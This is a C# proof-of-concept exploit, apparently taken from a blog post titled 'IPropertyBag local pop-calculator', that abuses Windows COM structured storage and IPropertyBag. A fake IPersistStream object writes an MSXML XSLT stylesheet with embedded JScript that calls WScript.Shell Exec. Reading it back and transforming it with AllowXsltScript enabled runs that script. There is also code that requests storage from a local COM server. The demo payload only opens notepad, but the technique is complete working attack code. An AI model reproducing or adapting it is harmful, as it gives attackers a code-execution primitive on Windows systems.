using CStorageCore;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices.ComTypes;
using System.Text;
using System.Threading.Tasks;
namespace CStoragePoc
{
[Flags]
public enum STGM : int
{
DIRECT = 0x00000000,
TRANSACTED = 0x00010000,
SIMPLE = 0x08000000,
READ = 0x00000000,
WRITE = 0x00000001,
READWRITE = 0x00000002,
SHARE_DENY_NONE = 0x00000040,
SHARE_DENY_READ = 0x00000030,
SHARE_DENY_WRITE = 0x00000020,
SHARE_EXCLUSIVE = 0x00000010,
PRIORITY = 0x00040000,
DELETEONRELEASE = 0x04000000,
NOSCRATCH = 0x00100000,
CREATE = 0x00001000,
CONVERT = 0x00020000,
FAILIFTHERE = 0x00000000,
NOSNAPSHOT = 0x00200000,
DIRECT_SWMR = 0x00400000,
}
[Flags]
public enum CLSCTX : uint
{
CLSCTX_INPROC_SERVER = 0x1,
CLSCTX_INPROC_HANDLER = 0x2,
CLSCTX_LOCAL_SERVER = 0x4,
CLSCTX_INPROC_SERVER16 = 0x8,
CLSCTX_REMOTE_SERVER = 0x10,
CLSCTX_INPROC_HANDLER16 = 0x20,
CLSCTX_RESERVED1 = 0x40,
CLSCTX_RESERVED2 = 0x80,
CLSCTX_RESERVED3 = 0x100,
CLSCTX_RESERVED4 = 0x200,
CLSCTX_NO_CODE_DOWNLOAD = 0x400,
CLSCTX_RESERVED5 = 0x800,
CLSCTX_NO_CUSTOM_MARSHAL = 0x1000,
CLSCTX_ENABLE_CODE_DOWNLOAD = 0x2000,
CLSCTX_NO_FAILURE_LOG = 0x4000,
CLSCTX_DISABLE_AAA = 0x8000,
CLSCTX_ENABLE_AAA = 0x10000,
CLSCTX_FROM_DEFAULT_CONTEXT = 0x20000,
CLSCTX_ACTIVATE_X86_SERVER = 0x40000,
CLSCTX_ACTIVATE_32_BIT_SERVER = CLSCTX_ACTIVATE_X86_SERVER,
CLSCTX_ACTIVATE_64_BIT_SERVER = 0x80000,
CLSCTX_ENABLE_CLOAKING = 0x100000,
CLSCTX_APPCONTAINER = 0x400000,
CLSCTX_ACTIVATE_AAA_AS_IU = 0x800000,
CLSCTX_RESERVED6 = 0x1000000,
CLSCTX_ACTIVATE_ARM32_SERVER = 0x2000000
}
[StructLayout(LayoutKind.Sequential)]
class PROPVARIANT
{
const ushort VT_UNKNOWN = 13;
ushort vt;
ushort wReserved1;
ushort wReserved2;
ushort wReserved3;
IntPtr pUnknown;
public PROPVARIANT(object obj)
{
vt = VT_UNKNOWN;
pUnknown = Marshal.GetIUnknownForObject(obj);
}
public PROPVARIANT()
{
vt = VT_UNKNOWN;
}
public object ToObject()
{
return Marshal.GetObjectForIUnknown(pUnknown);
}
}
[ComImport, ComVisible(true)]
[Guid("55272A00-42CB-11CE-8135-00AA004BB851")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
interface IPropertyBag
{
int Read([In] string propName, [In, Out] PROPVARIANT ptrVar, IntPtr errorLog);
int Write([In] string propName, [In, Out] PROPVARIANT ptrVar);
}
[ComImport, Guid("00000109-0000-0000-C000-000000000046"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
public interface IPersistStream
{
void GetClassID(out Guid clsid);
int IsDirty();
void Load(IStream pStm);
void Save(IStream pStm, bool fClearDirty);
void GetSizeMax(out ulong pcbSize);
}
[ComVisible(true)]
class FakeObject : IPersistStream
{
public void GetClassID(out Guid clsid)
{
Console.WriteLine("GetClassID");
//MSXML.DOMDocument.6.0
clsid = new Guid("88D96A05-F192-11D4-A65F-0040963251E5");
}
public void GetSizeMax(out ulong pcbSize)
{
Console.WriteLine("GetSizeMax");
pcbSize = 1024;
}
public int IsDirty()
{
Console.WriteLine("IsDirty");
return 0;
}
public void Load(IStream pStm)
{
Console.WriteLine("Load");
}
public void Save(IStream pStm, bool fClearDirty)
{
Console.WriteLine("Save");
byte[] arr = Encoding.ASCII.GetBytes("<xsl:stylesheet version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' xmlns:msxsl='urn:schemas-microsoft-com:xslt' xmlns:user='http://mycompany.com/mynamespace'> <msxsl:script language='JScript' implements-prefix='user'> function xml(nodelist) { var o = new ActiveXObject('WScript.Shell'); o.Exec('notepad'); return nodelist.nextNode().xml; } </msxsl:script> <xsl:template match='/'> <xsl:value-of select='user:xml(.)'/> </xsl:template> </xsl:stylesheet>");
pStm.Write(arr, arr.Length, IntPtr.Zero);
Console.WriteLine("Done Write");
}
}
[ComImport, Guid("00000001-0000-0000-C000-000000000046"), InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
public interface IClassFactory
{
[PreserveSig]
int CreateInstance([MarshalAs(UnmanagedType.Interface)] object pUnkOuter, [MarshalAs(UnmanagedType.LPStruct)] Guid riid, [Out, MarshalAs(UnmanagedType.Interface)] out IStorage ppvObject);
[PreserveSig]
int LockServer(bool fLock);
}
class Program
{
[DllImport("ole32.dll", PreserveSig = false, CharSet = CharSet.Unicode)]
static extern int StgCreateDocfile([MarshalAs(UnmanagedType.LPWStr)]
string pwcsName, STGM grfMode, uint reserved, out IStorage ppstgOpen);
[DllImport("ole32.dll", CharSet = CharSet.Unicode, PreserveSig = false)]
public static extern int StgOpenStorage(
string pwcsName,
IStorage pstgPriority,
STGM grfMode,
IntPtr snbExclude,
int reserved, out IStorage ppstgOpen
);
[DllImport("ole32.dll", ExactSpelling = true)]
public static extern int CoGetClassObject(
ref Guid rclsid,
uint dwContext,
IntPtr pvReserved,
ref Guid riid,
[MarshalAs(UnmanagedType.Interface)] out IClassFactory ppv);
[DllImport("ole32.dll")]
static extern int CoCreateInstance(
[In] ref Guid rclsid,
[In, MarshalAs(UnmanagedType.IUnknown)] object pUnkOuter,
[In] uint dwClsContext,
[In] ref Guid riid,
[Out, MarshalAs(UnmanagedType.Interface)] out object ppv);
static IStorage GetRemoteStorage()
{
int hr = 0;
IStorage ppstgOpen = null;
object ppvResultres = (object)null;
Guid storgid = new Guid("0000000B-0000-0000-C000-000000000046");
Guid svrgid = new Guid("AF080472-F173-4D9D-8BE7-435776617347");
IClassFactory ppv = null;
Guid classfactor = new Guid("00000001-0000-0000-C000-000000000046");
hr = CoGetClassObject(ref FakeClassGid, (uint)CLSCTX.CLSCTX_LOCAL_SERVER, IntPtr.Zero, ref classfactor, out ppv);
Console.WriteLine("CoGetClassObject:=>" + hr.ToString("x"));
/*hr = ppv.LockServer(true);
Console.WriteLine("LockServer:=>" + hr.ToString("x"));*/
IClassFactoryStorage ppvstor = ppv as IClassFactoryStorage;
Console.WriteLine("ppvstor:=>" + ppvstor);
IntPtr objpv;
hr = ppv.CreateInstance(null, storgid, out ppstgOpen);
// hr = ppvstor.CreateInstanceStorage(null, ref storgid, out ppstgOpen);
Console.WriteLine("CreateInstance:=>" + hr.ToString("x"));
return ppstgOpen;
}
static IStorage GetLocalStorage()
{
IStorage ppstgOpen;
string storfile = @"C:\dl\ev.tps";
if (File.Exists(storfile))
{
File.Delete(storfile);
}
int hr = StgCreateDocfile(storfile, STGM.READWRITE | STGM.SHARE_EXCLUSIVE, 0, out ppstgOpen);
Console.WriteLine("StgCreateDocfile:=>" + hr.ToString("x"));
return ppstgOpen;
}
public static Guid FakeClassGid = Guid.Parse("{1ECCFD72-4B41-45ef-B73A-4A6E44C12924}");
static void Main(string[] args)
{
int hr = 0;
IStorage ppstgOpen = GetLocalStorage();
IStorage new_stg1 = ppstgOpen.CreateStorage("TestStorage", 2 | 0x1000 | 0x10, 0, 0);
Console.WriteLine("CreateStorage:=>" + new_stg1);
PROPVARIANT prop = new PROPVARIANT(new FakeObject());
IPropertyBag propbag = new_stg1 as IPropertyBag;
hr = propbag.Write("fake", prop);
Console.WriteLine("IPropertyBag:=>" + hr.ToString("x"));
ppstgOpen.Commit(0);
Marshal.ReleaseComObject(propbag);
Marshal.ReleaseComObject(new_stg1);
IStorage new_stg = ppstgOpen.OpenStorage("TestStorage", IntPtr.Zero, 0x12, IntPtr.Zero, 0);
IPropertyBag bag = (IPropertyBag)new_stg;
PROPVARIANT var = new PROPVARIANT();
bag.Read("fake", var, IntPtr.Zero);
dynamic doc = var.ToObject();
Console.WriteLine("Done Read {0}", doc);
doc.setProperty("AllowXsltScript", true);
doc.transformNode(doc);
}
}
}
IPropertyBag本地弹计算器
于 2025-06-08 14:55:07 首次发布